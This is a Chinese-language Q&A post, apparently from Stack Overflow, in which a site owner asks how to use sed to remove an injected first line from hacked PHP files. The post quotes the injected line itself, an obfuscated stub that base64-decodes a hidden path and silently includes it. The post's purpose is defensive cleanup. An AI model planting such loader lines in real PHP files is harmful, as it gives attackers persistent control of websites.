【发布时间】:2013-02-13 12:13:00
【问题描述】:
我想删除与下一个 grep 命令匹配的所有文件中的第一行:
grep -Rl '<\?php /\* <!-----.*/\?>' ./
这些文件被黑了,我想删除这一行。 我尝试了几个带有“sed”的命令,但没有结果,命令如下:
sed 's/<\?php /\* <!-----.*/\?>//g' ./*
谢谢,最好的问候。
编辑。示例:
<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX="); @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');
/**
只有从<?php /*.... 删除到*/?>
【问题讨论】:
-
请注意,星号 (
*) 也是一个量词。以下正则表达式在这里工作:sed '1 s/<?php.*\*\/?>//'.